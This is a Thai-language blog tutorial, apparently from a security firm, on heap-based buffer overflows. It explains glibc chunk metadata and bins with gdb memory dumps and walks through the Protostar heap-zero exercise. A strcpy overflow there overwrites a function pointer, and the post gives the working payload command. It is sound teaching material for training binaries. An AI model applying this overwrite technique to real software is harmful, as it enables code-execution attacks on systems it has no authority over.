ใครว่า buffer overflow เกิดได้แค่ใน stack !?

Datafarm
5 min readNov 24, 2021

วันนี้จะพูดถึงเรื่อง buffer overflow (อีกแล้ว) ทุกคนคงจะรู้จักช่องโหว่นี้อยู่แล้ว ปกติที่เราคุ้นเคยกับ buffer overflow ในส่วนของ stack หรือที่เรียกว่า Stack-based buffer overflow แต่ buffer overflow มันสามารถเกิดกับในส่วนอื่นของ memory ได้เหมือนกัน อย่างที่ผมจะเขียนในวันนี้คือ buffer overflow ในส่วนของ heap (Heap-based buffer overflow) ก่อนจะไปดูตัวอย่างโค้ดที่มีช่องโหว่เรามารู้จัก concept ของ Heap กันซักหน่อยก่อน (แค่พื้นฐานนะเพราะรายละเอียดมันค่อนข้างเยอะผมก็ยังอ่านและลองเล่นไม่หมด)

*ผมทำทุกอย่างบน vm แบบ x64 นะครับ

Heap

เป็นส่วนนึงของ memory ที่เอาไว้เก็บข้อมูลต่าง ๆ แต่ต่างกับ stack ตรงที่มันเป็นแบบ Dynamic เราสามารถจองหรือคืนพื้นที่ได้เอง ส่วน stack โปรแกรมมันคำนวณมาให้ไม่สามารถจองหรือคืนเองได้ ซึ่งปกติฟังก์ชันที่คุ้นหน้าคุ้นตากันเป็นอย่างดีเวลาจะใช้ในการจอง/คืนพื้นที่ใน heap ก็จะเป็นพวก malloc(), free(), realloc() ฯลฯ ซึ่งสมมติว่าผมอยากจองพื้นที่ซัก 32 bytes ก็จะใช้ malloc(32) จากนั้นโปรแกรมมันก็จะไปจองพื้นที่ใน heap ให้และคืนค่า pointer ที่ชี้ไป address ที่ถูกจองไว้กลับมาให้

Allocated Chunk

ที่มา https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c

พื้นที่ที่ถูกจองไว้จะเรียกว่า chunk / allocated chunk แล้วแต่คนจะเรียก ซึ่งเวลาเราจอง memory ใน heap เช่น malloc(32) ก็ใช่ว่า allocated chunk จะมีขนาดแค่ 32 bytes นะครับ ทีนี้ลองมาดู structure ของ allocated chunk กันซักหน่อย

ตัวอย่าง

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char *c1, *c2;
c1 = malloc(32);
c2 = malloc(32);
strncpy(c1, "AAAAAAAAAAAAAAAA", 32);
strncpy(c2, "BBBBBBBBBBBBBBBB", 32);
return 0;
}

ใช้ gdb ดูใน memory ก็จะเห็นว่า chunk ของเรามีรูปร่างหน้าตาประมาณนี้

$ x/34gx 0x00005555555592a0-16// c1
// Metadata |-- Size of chunk --|
0x555555559290: 0x0000000000000000 0x0000000000000031
// User data 32 bytes
0x5555555592a0: 0x4141414141414141 0x4141414141414141
0x5555555592b0: 0x0000000000000000 0x0000000000000000
// c2
// Metadata |-- Size of chunk --|
0x5555555592c0: 0x0000000000000000 0x0000000000000031
// User data 32 bytes
0x5555555592d0: 0x4242424242424242 0x4242424242424242
0x5555555592e0: 0x0000000000000000 0x0000000000000000

จะเห็นว่าตรง Size of chunk กลับเป็น 0x31 (49) bytes ไม่ใช่ 0x20 (32) bytes ตามที่เราจองไว้เพราะว่ามันนับรวม metadata (ผมเข้าใจว่ามันคือ Previous chunk size + Chunk size) ก็จะเป็น metadata 16 bytes + user data 32 bytes = 0x30 (48) bytes แต่ก็ยังเกินมา 1 อยู่ดี ที่เป็นแบบนี้เพราะ bit สุดท้ายถูก set เป็น 1 เพื่อบอกว่า previous chunk มีสถานะเป็น in use ครับ ลองเอา 0x31 มาแปลงเป็น binary ก็จะเป็นแบบในรูป

ซึ่งปกติแล้ว 3 bit สุดท้ายมันจะเอาไว้ set เพื่อบอกสถานะต่าง ๆ มี A (NON_MAIN_ARENA) bit, M (IS_MMAPED) bit และ P (PREV_INUSE) bit แต่ผมยังไม่พูดถึง A กับ M นะครับ เพราะยังไม่เคยลองเล่นและยังไม่จำเป็นสำหรับบทความนี้เท่าไหร่

Freed Chunk

ที่มา https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c

ทีนี้มาถึง Freed chunk กันบ้าง เวลาที่เราต้องการจะคืน memory ส่วนที่ไม่ได้ใช้แล้วเราจะใช้ free(ptr) ประมาณนี้ โปรแกรมมันก็จะไปจัดการคืน memory ส่วนนั้น ๆ ให้ ถึงจะบอกว่าคืนแต่ chunk มันก็ไม่ได้หายไปเฉย ๆ หรอกครับ มันจะถูกเก็บอยู่ใน bin ในรูปแบบ linked lists เพื่อที่สามารถนำใช่ใหม่ได้ในเวลามีการจอง memory ในครั้งถัด ๆ ไป ซึ่ง bins ก็จะมีอยู่ 5 แบบดังนี้ Tcache (เริ่มใช้ตั้งแต่ glibc 2.26), Fastbins, Small bins, Large bins, Unsorted bin โดย bin แต่ละแบบก็เอาไว้เก็บ freed chunk ที่แตกต่างกันไปตามขนาดหรือการใช้งาน จบ concept พื้นฐานมาก ๆ ของ heap ไว้เท่านี้ละกันครับมาลองทำดีกว่า

อย่างที่บอกผมเอาโค้ดมาจาก prototar — exploit exercise (ข้อ heap-zero) แต่ผมไม่ได้โหลดเป็น iso มานะ ผมจะเอาแค่โค้ดมา compile ใหม่บน vm ผมนะครับ

ที่มา https://exploit.education/protostar/heap-zero/

จากโค้ดมีการสร้าง structure ไว้ 2 อันคือ data กับ fp ซึ่ง data จะเอาไว้เก็บข้อมูล name 64 bytes ส่วน fp เอาไว้เก็บค่า function pointer ทีนี้มาดูใน main()

  1. จะมีการ malloc() เพื่อจองพื้นที่ตามขนาดของ structure แต่ละอัน
  2. ใส่ค่า address ของฟังก์ชัน nowinner ไว้ที่ตัวแปร fp
  3. จากนั้นใช้ strcpy() เอาค่าจาก argument ที่ 1 มาเก็บไว้ในตัวแปร name ของ data
  4. สุดท้ายก็ call fp()
d = malloc(sizeof(struct data)); // จองพื้นที่ให้ struct data
f = malloc(sizeof(struct fp)); // จองพื้นที่ให้ struct fp
f->fp = nowinner; // ใส่ค่า address ของฟังก์ชัน nowinner ให้ตัวแปร fp
printf("data is at %p, fp is at %p\n", d, f);strcpy(d->name, argv[1]); // copy ค่าของ argument ที่ 1 มาเก็บในตัวแปร namef->fp(); // call ฟังก์ชันที่ถูกเก็บอยู่ในตัวแปร fp

ลองมาดูรูปร่างของ chunk ใน memory กันดีกว่า ผมใช้ gdb set breakpoint ไว้ที่ strcpy() และ f->fp()

จากนั้นใช้คำสั่ง

run AAAAAAAA

โปรแกรมจะมาหยุดที่ strcpy() กด ni เพื่อให้โปรแกรมเรียก strcpy() แล้วมาดู heap กัน

$ x/16gx 0x4052a0-16// Chunk1 : struct data                                      
|-- Size of chunk --|
0x405290: 0x0000000000000000 0x0000000000000051
|------- User data เริ่มตรงนี้ ไว้เก็บค่า argv[1] // char name[64]
0x4052a0: 0x4141414141414141 0x0000000000000000
0x4052b0: 0x0000000000000000 0x0000000000000000
0x4052c0: 0x0000000000000000 0x0000000000000000
0x4052d0: 0x0000000000000000 0x0000000000000000
// Chunk2: struct fp
|-- Size of chunk --|
0x4052e0: 0x0000000000000000 0x0000000000000021
|------------------ ตัวแปร fp() เก็บค่า address ของฟังก์ชัน nowinner
0x4052f0: 0x0000000000401165 0x0000000000000000

ทีนี้มาลองให้โปรแกรมทำงานแบบปกติดูก่อน กด continue

โปรแกรมจะมาหยุดที่ breakpoint ที่ 2 คือจังหวะเรียก f->fp(); (call rdx) จะเห็นว่าที่ rdx เป็นค่าของฟังก์ชัน nowinner พอกด continue อีกครั้งโปรแกรมก็จะทำงานต่อโดยการเรียก nowinner()

Objective ของข้อนี้คือทำยังไงก็ได้ให้ redirect โปรแกรมไปเรียกฟังก์ชัน winner แทน ซึ่งวิธีการที่จะ exploit ข้อนี้ก็จะใช้ช่องโหว่ Buffer overflow เขียนข้อมูลให้เกินไปทับค่าตรงตัวแปร fp แค่นี้เองครับ แล้วตรงไหนล่ะที่ทำให้เกิด Bufffer overflow คำตอบคือ ฟังก์ชัน strcpy() นี่แหละครับ ทีนี้มาลองทำกันอีกรอบคราวนี้ใช้คำสั่ง

run $(python3 -c "print('A' * 80 + '\x52\x11\x40')")

มาดูใน heap กันอีกที

$ x/16gx 0x4052a0-16// Chunk1 : struct data
0x405290: 0x0000000000000000 0x0000000000000051
|------ ใส่ ‘A’ ลงไป 80 ตัวเพื่อให้ overflow ไปถึง address ของ fp()
0x4052a0: 0x4141414141414141 0x4141414141414141
0x4052b0: 0x4141414141414141 0x4141414141414141
0x4052c0: 0x4141414141414141 0x4141414141414141
0x4052d0: 0x4141414141414141 0x4141414141414141
// Chunk2 : struct fp
0x4052e0: 0x4141414141414141 0x4141414141414141
|------ ตรงนี้ถูกเขียนทับให้เป็น address ของ winner() // int (*fp)fp()
0x4052f0: 0x0000000000401152 0x0000000000000000

จากนั้นกด continue โปรแกรมมาหยุดตอน call rdx เหมือนเดิม

แต่คราวนี้จะเห็นว่าค่าใน rdx ไม่ใช่ address ของ nowinner() แล้ว แต่เป็นค่าของ winner() ที่พึ่งโดนเขียนทับไป พอ execute ต่อโปรแกรมมันก็จะไปเรียก winner() แทน nowinner() แล้วครับ

มาลอง run นอก gdb กัน

เสร็จแล้วครับ เราสามารถ redirect code execution ได้ทำให้โปรแกรมไปเรียกฟังก์ชัน winner จากการใช้ช่องโหว่ heap buffer overflow

แล้วในซอฟต์แวร์ของจริงล่ะ จะแฮกด้วย Heap Buffer Overflow ได้จริง ๆ ไหม

เมื่อต้นปีก็มีช่องโหว่นึงที่ดังมาก ๆ ออกมา หมายเลข CVE-2021–3156 ชื่อช่องโหว่ว่า Heap-Based Buffer Overflow in Sudo (Baron Samedit) เป็นช่องโหว่ heap buffer overflow ใน sudo ครับสามารถใช้ทำ privilege escalation ได้ ซึ่งแน่นอนว่าทีม research ของ Datafarm ก็ออกบทความอธิบายช่องโหว่นี้ไว้เรียบร้อยแล้วครับ ถ้าใครยังไม่ได้อ่านก็กดตรงนี้ได้เลย Exploit Writeup for CVE-2021–3156 (Sudo Baron Samedit) ผมบอกได้เลยว่าของดี

ใครที่อยากลองฝึกแฮกช่องโหว่ใน heap หรือช่องโหว่แนว binary exploit อีกก็ไปจัดกันได้ที่ exploit exercise เลยครับหรือถ้าอยากเล่นเป็นพวก Wargame หรือ CTF ก็ไปจัดกันได้ที่ pwnable.tw / pwnable.kr / overthewire ฯลฯ

สุดท้ายนี้ต้องบอกอย่างนี้ว่าผมก็พอรู้และวิธีการโจมตีต่าง ๆ ใน heap ในระดับแบบว่าพื้นฐานมาก ซึ่งมีหลายอย่างที่ยังไม่ค่อยเข้าใจเท่าไหร่อย่างพวกเรื่อง A, M bit เรื่อง consolidate เรื่อง arena เรื่อง bins ฯลฯ ฉะนั้นในบทความนี้ถ้ามีตรงไหนอธิบายผิดไปก็ต้องขออภัยไว้ตรงนี้ด้วยนะครับ ส่วนวันนี้พักเรื่องแฮก ๆ ไว้แค่นี้ก่อนแล้วกันเพราะผมจะไปดู Arcane ต่อแล้วครับ ไว้เจอกันบทความถัดไปนะครับ

--

--

No responses yet